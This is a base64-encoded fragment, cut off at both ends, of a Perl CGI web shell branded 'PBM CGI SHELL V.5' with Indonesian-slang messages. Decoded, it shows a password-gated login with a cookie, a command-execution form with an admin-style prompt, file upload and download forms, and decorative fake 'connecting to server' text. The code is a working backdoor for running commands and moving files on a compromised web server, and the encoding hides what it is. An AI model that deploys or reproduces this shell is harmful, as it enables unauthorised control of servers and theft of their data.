NCiAgICAgIHRoaXMuaW5UYWcgPSB0cnVlOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsNCiAgICAgIHRoaXMudGFnQnVmZmVyICs9ICI+IjsNCiAgICAgIHRoaXMuaW5UYWcgPSBmYWxzZTsNCiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICImIjsNCiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gdHJ1ZTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9ICI7IjsNCiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSB7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgIH0NCiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsNCiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MICs9ICh0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGggLSAxID8gKHR5cGVvZiB0aGlzLmN1cnNvciA9PSAiZnVuY3Rpb24iID8gdGhpcy5jdXJzb3IodGhpcy5jdXJyZW50VGV4dCkgOiB0aGlzLmN1cnNvcikgOiAiIik7DQogICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsNCiAgfSBlbHNlIHsNCiAgIHRoaXMuY3VycmVudFRleHQgPSAiIjsNCiAgIHRoaXMuY3VycmVudENoYXIgPSAwOw0KICAgICAgICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsNCiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7DQogIH0NCn0NCjwvc2NyaXB0Pg0KPC9wcmU+DQoNCg0KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+DQo8dGJvZHk+PHRyPg0KPHRkIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJodHRwOi8vZGwuZHJvcGJveC5jb20vdS8xMDg2MDA1MS9pbWFnZXMvbWF0cmFuLmdpZiI+PHAgaWQ9ImhhY2siIHN0eWxlPSJtYXJnaW4tbGVmdDogM3B4OyI+DQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4NCg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiPiBUcnlpbmcgY29ubmVjdCB0byBTZXJ2ZXIgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD48YnI+DQo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4NCjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PC9mb250PiBDaGVja2luZyBTZXJ2ZXIgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD4gPGJyPg0KDQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPg0KDQo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD5cJCBDb25uZWN0ZWQgQ29tbWFuZCEgPC9mb250Pjxicj4NCjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gb2tlIGthbmcgISEhPC9mb250Pg0KPC90cj4NCjwvdGJvZHk+PC90YWJsZT4NCjxicj4NCg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KbmV3IFR5cGluZ1RleHQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhhY2siKSwgMzAsIGZ1bmN0aW9uKGkpeyB2YXIgYXIgPSBuZXcgQXJyYXkoIl8iLCIiKTsgcmV0dXJuICIgIiArIGFyW2kubGVuZ3RoICUgYXIubGVuZ3RoXTsgfSk7DQpUeXBpbmdUZXh0LnJ1bkFsbCgpOw0KDQo8L3NjcmlwdD4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBIdG1sU3BlY2lhbENoYXJzKCQpew0KICAgbXkgJHRleHQgPSBzaGlmdDsNCiAgICR0ZXh0ID1+IHMvJi8mYW1wOy9nOw0KICAgJHRleHQgPX4gcy8iLyZxdW90Oy9nOw0KICAgJHRleHQgPX4gcy8nLyYjMDM5Oy9nOw0KICAgJHRleHQgPX4gcy88LyZsdDsvZzsNCiAgICR0ZXh0ID1+IHMvPi8mZ3Q7L2c7DQogICByZXR1cm4gJHRleHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBBZGRMaW5rRGlyKCQpDQp7DQogICBteSAkYWM9c2hpZnQ7DQogICBteSBAZGlyPSgpOw0KICAgaWYoJFdpbk5UKQ0KICAgew0KICAgICAgQGRpcj1zcGxpdCgvXFwvLCRDdXJyZW50RGlyKTsNCiAgIH1lbHNlDQogICB7DQogICAgICBAZGlyPXNwbGl0KCIvIiwmdHJpbSgkQ3VycmVudERpcikpOw0KICAgfQ0KICAgbXkgJHBhdGg9IiI7DQogICBteSAkcmVzdWx0PSIiOw0KICAgZm9yZWFjaCAoQGRpcikNCiAgIHsNCiAgICAgICRwYXRoIC49ICRfLiRQYXRoU2VwOw0KICAgICAgJHJlc3VsdC49IjxhIGhyZWY9Jz9hPSIuJGFjLiImZD0iLiRwYXRoLiInPiIuJF8uJFBhdGhTZXAuIjwvYT4iOw0KICAgfQ0KICAgcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KICAgcHJpbnQgPDxFTkQ7DQo8YnI+TG9naW4gOiBQQk0gU0hFTEw8YnI+DQoNClBhc3N3b3JkIFNhbGFoIGthbmcuLi4gVF9UIDxicj48YnI+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5Gb3JtDQp7DQogICBwcmludCA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxvZ2luIj4NCkxvZ2luIDogUEJNIFNIRUxMPGJyPg0KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4NCjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSIgPj4gIj4NCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlRm9vdGVyDQp7DQogICBwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD4tPVtbIFBCTSBDR0kgU0hFTEwgVi41IF1dPS08L2ZvbnQ+PC9jb2RlPjwvY2VudGVyPjwvYm9keT48L2h0bWw+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQ0KIyB2YXJpYWJsZSAkQ29va2llc3snJ30NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBHZXRDb29raWVzDQp7DQogICBAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOw0KICAgZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykNCiAgIHsNCiAgICAgICgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsNCiAgICAgICRDb29raWVzeyRpZH0gPSAkdmFsOw0KICAgfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KICAgcHJpbnQgIkxPRyBPVVQgc3Vrc2VzIGthbmcgXl9eIDxicj48YnI+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2luIGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KICAgcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPTtcbiI7ICMgcmVtb3ZlIHBhc3N3b3JkIGNvb2tpZQ0KICAgJlByaW50UGFnZUhlYWRlcigicCIpOw0KICAgJlByaW50TG9nb3V0U2NyZWVuOw0KDQogICAmUHJpbnRMb2dpblNjcmVlbjsNCiAgICZQcmludExvZ2luRm9ybTsNCiAgICZQcmludFBhZ2VGb290ZXI7DQogICBleGl0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQNCiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QNCiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyDQojIHRvIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ2luIA0Kew0KICAgaWYoJExvZ2luUGFzc3dvcmQgZXEgJFBhc3N3b3JkKSAjIHBhc3N3b3JkIG1hdGNoZWQNCiAgIHsNCiAgICAgIHByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7DQogICAgICAmUHJpbnRQYWdlSGVhZGVyOw0KICAgICAgcHJpbnQgJkxpc3REaXI7DQogICB9DQogICBlbHNlICMgcGFzc3dvcmQgZGlkbid0IG1hdGNoDQogICB7DQogICAgICAmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQogICAgICAmUHJpbnRMb2dpblNjcmVlbjsNCiAgICAgIGlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQNCiAgICAgIHsNCiAgICAgICAgICZQcmludExvZ2luRmFpbGVkTWVzc2FnZTsNCg0KICAgICAgfQ0KICAgICAgJlByaW50TG9naW5Gb3JtOw0KICAgICAgJlByaW50UGFnZUZvb3RlcjsNCiAgICAgIGV4aXQ7DQogICB9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgY29tbWFuZHMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtDQp7DQogICBteSAkZGlyPSAiPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJjb21tYW5kIikuIjwvc3Bhbj4iOw0KICAgJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nIzY2ZmY2Nic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOw0KICAgcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQoNCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCiRQcm9tcHQNCjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI1MCIgbmFtZT0iYyI+DQo8aW5wdXQgY2xhc3M9InN1Ym1pdCJ0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQ0Kew0KICAgbXkgJGRpciA9ICZBZGRMaW5rRGlyKCJkb3dubG9hZCIpOyANCiAgICRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7DQogICByZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPg0KJFByb21wdCBkb3dubG9hZDxicj48YnI+DQpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCkRvd25sb2FkOiA8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KDQo8L2Zvcm0+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byB1cGxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtDQp7DQogICBteSAkZGlyPSAmQWRkTGlua0RpcigidXBsb2FkIik7DQogICAkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KICAgcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQokUHJvbXB0IHVwbG9hZDxicj48YnI+DQpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCk9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4NCjxsYWJlbCBmb3I9InVwIj5PdmVyd3JpdGUgaWYgaXQgRXhpc3RzPC9sYWJlbD48YnI+PGJyPg0KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+DQoNCjwvZm9ybT4NCg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8NCiMgdGVybWluYXRlIHRoZSBzY3JpcHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBpcw0KIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQ29tbWFuZFRpbWVvdXQNCnsNCiAgIGlmKCEkV2luTlQpDQogICB7DQogICAgICBhbGFybSgwKTsNCiAgICAgIHJldHVybiA8PEVORDsNCjwvdGV4dGFyZWE+DQo8YnI+PGZvbnQgY29sb3I9eWVsbG93Pg0KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4NCjxicj48Zm9udCBzaXplPSc2JyBjb2xvcj1yZWQ+S2lsbGVkIGl0ITwvZm9udD4NCkVORA0KICAgfQ0KfQ0KDQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCiAgIGxvY2FsKCRGaWxlVXJsKSA9IEBfOw0KICAgbXkgJHJlc3VsdD0iIjsNCiAgIGlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cw0KICAgew0KICAgICAgIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3Nlcg0KICAgICAgJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOw0KICAgICAgJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOw0KICAgICAgJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsNCiAgICAgICZQcmludFBhZ2VIZWFkZXIoImMiKTsNCiAgICAgICRyZXN1bHQgLj0gPDxFTkQ7DQpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4NCg0KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksDQo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPg0KRU5EDQogICAgICAkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KICAgfQ0KICAgZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdA0KICAgew0KICAgICAgJHJlc3VsdCAuPSAiRmFpbGVkIHRvIGRvd25sb2FkICRGaWxlVXJsOiAkISI7DQogICAgICAkcmVzdWx0IC49ICZQcmludEZpbGVEb3dubG9hZEZvcm07DQogICB9DQogICByZXR1cm4gJHJlc3VsdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIHJlYWRzIHRoZSBzcGVjaWZpZWQgZmlsZSBmcm9tIHRoZSBkaXNrIGFuZCBzZW5kcyBpdCB0byB0aGUNCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0